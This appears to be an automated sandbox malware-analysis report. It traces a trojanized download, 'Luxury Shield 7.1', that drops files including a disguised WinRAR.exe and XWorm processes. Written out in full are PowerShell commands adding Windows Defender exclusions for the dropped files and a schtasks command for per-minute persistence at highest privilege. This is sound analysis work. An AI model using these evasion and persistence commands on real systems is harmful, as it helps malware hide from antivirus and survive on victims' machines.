5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5340	powershell.exe
5340	powershell.exe
5340	powershell.exe
5900	powershell.exe
5900	powershell.exe
5900	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe
5740	msedge.exe
5740	msedge.exe
5740	msedge.exe
5740	msedge.exe
5388	powershell.exe
5388	powershell.exe
5388	powershell.exe
5768	powershell.exe
5768	powershell.exe
5768	powershell.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

pid	Process
2312	Luxury Shield 7.1.exe
444	XWorm.exe
4536	Luxury Shield 7.1.exe
5748	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeDebugPrivilege	5652	powershell.exe
Token: SeDebugPrivilege	5928	WinRAR.exe
Token: SeDebugPrivilege	5260	powershell.exe
Token: SeDebugPrivilege	5340	powershell.exe
Token: SeDebugPrivilege	5680	WinRAR.exe
Token: SeDebugPrivilege	5900	powershell.exe
Token: SeDebugPrivilege	372	powershell.exe
Token: SeDebugPrivilege	3788	WinRAR.exe
Token: SeDebugPrivilege	2192	WinRAR.exe
Token: SeDebugPrivilege	5388	powershell.exe
Token: SeDebugPrivilege	5768	powershell.exe
Token: SeDebugPrivilege	5696	WinRAR.exe
Token: SeDebugPrivilege	2312	Luxury Shield 7.1.exe
Token: SeDebugPrivilege	4976	WinRAR.exe
Token: SeDebugPrivilege	5852	WinRAR.exe
Token: 33	228	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	228	AUDIODG.EXE
Token: SeDebugPrivilege	5688	WinRAR.exe
Token: SeDebugPrivilege	1704	WinRAR.exe
Token: SeDebugPrivilege	2472	WinRAR.exe
Token: SeDebugPrivilege	5388	powershell.exe
Token: SeDebugPrivilege	3896	WinRAR.exe
Token: SeDebugPrivilege	4656	WinRAR.exe
Token: SeDebugPrivilege	1820	WinRAR.exe
Token: SeDebugPrivilege	800	WinRAR.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	68	powershell.exe
Token: SeDebugPrivilege	5272	WinRAR.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	5536	powershell.exe
Token: SeDebugPrivilege	3468	WinRAR.exe
Token: SeDebugPrivilege	5032	WinRAR.exe
Token: SeDebugPrivilege	4536	Luxury Shield 7.1.exe
Token: SeDebugPrivilege	5856	WinRAR.exe
Token: SeDebugPrivilege	3500	WinRAR.exe
Token: SeDebugPrivilege	2332	WinRAR.exe
Token: SeDebugPrivilege	4856	WinRAR.exe
Token: SeDebugPrivilege	1920	WinRAR.exe
Token: SeDebugPrivilege	4740	WinRAR.exe
Token: SeDebugPrivilege	1792	WinRAR.exe
Token: SeDebugPrivilege	4648	WinRAR.exe
Token: SeDebugPrivilege	1448	nexusv2.exe
Token: SeDebugPrivilege	3396	WinRAR.exe
Token: SeDebugPrivilege	2324	WinRAR.exe
Token: SeDebugPrivilege	3204	WinRAR.exe
Token: SeDebugPrivilege	5132	WinRAR.exe
Token: SeDebugPrivilege	5908	WinRAR.exe
Token: SeDebugPrivilege	5572	WinRAR.exe
Token: SeDebugPrivilege	6040	WinRAR.exe
Token: SeDebugPrivilege	5572	WinRAR.exe
Token: SeDebugPrivilege	2656	WinRAR.exe
Token: SeDebugPrivilege	3468	WinRAR.exe

Suspicious use of FindShellTrayWindow 53 IoCs

pid	Process
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
2312	Luxury Shield 7.1.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
444	XWorm.exe

Suspicious use of SendNotifyMessage 25 IoCs

pid	Process
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
444	XWorm.exe

Suspicious use of SetWindowsHookEx 44 IoCs

pid	Process
5628	Luxury Shield 7.1.exe
4144	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
5608	Luxury Shield 7.1.exe
1280	XWorm V5.3.exe
444	XWorm.exe
444	XWorm.exe
444	XWorm.exe
444	XWorm.exe
444	XWorm.exe
444	XWorm.exe
4776	vbc.exe
2312	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
5068	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
5748	msedge.exe
5748	msedge.exe
5748	msedge.exe
5748	msedge.exe
5748	msedge.exe
4536	Luxury Shield 7.1.exe
3228	msedge.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
988	msedge.exe
988	msedge.exe
988	msedge.exe
988	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 2892	1468	msedge.exe	83
PID 1468 wrote to memory of 2892	1468	msedge.exe	83
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 4272	1468	msedge.exe	84
PID 1468 wrote to memory of 3928	1468	msedge.exe	85
PID 1468 wrote to memory of 3928	1468	msedge.exe	85
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86
PID 1468 wrote to memory of 3060	1468	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://mega.nz/folder/o7onBAqb#lPnM6du1_ZsHQgf5SIaC4Q
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd3ab646f8,0x7ffd3ab64708,0x7ffd3ab64718
  2⤵
  PID:2892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2088 /prefetch:2
  2⤵
  PID:4272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2936 /prefetch:8
  2⤵
  PID:3060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
  2⤵
  PID:3032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5264 /prefetch:8
  2⤵
  PID:2300
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5264 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
  2⤵
  PID:3896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
  2⤵
  PID:8
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5800 /prefetch:8
  2⤵
  PID:2804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:1
  2⤵
  PID:4968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
  2⤵
  PID:4008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5324 /prefetch:8
  2⤵
  PID:3568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:2136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6188 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1772 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:1
  2⤵
  PID:5420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1856 /prefetch:1
  2⤵
  PID:432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5444 /prefetch:8
  2⤵
  PID:5968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
  2⤵
  PID:5996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2628 /prefetch:8
  2⤵
  PID:5336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4048 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:5748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6692 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:3228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2068,9972357990926575431,6184424082520951355,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6408 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:988

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4452

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1696

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2fc 0x51c
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:228

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4552

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Pass to use.txt
1⤵
PID:5204

C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe
"C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe"
1⤵
PID:5316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5428
- C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WinRAR.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5652
- C:\Users\Admin\AppData\Local\Temp\WinRAR.exe
  "C:\Users\Admin\AppData\Local\Temp\WinRAR.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  PID:5928
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WinRAR" /tr "C:\Users\Public\WinRAR.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6080

C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe
"C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe"
1⤵
PID:5132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5260
- C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WinRAR.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5340
- C:\Users\Admin\AppData\Local\Temp\WinRAR.exe
  "C:\Users\Admin\AppData\Local\Temp\WinRAR.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5680

C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe
"C:\Users\Admin\Downloads\Luxury Shield 7.1\Luxury Shield 7.1\Luxury Sheild v7.1.exe"
1⤵
PID:5804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5900
- C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Luxury Shield 7.1.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:2312
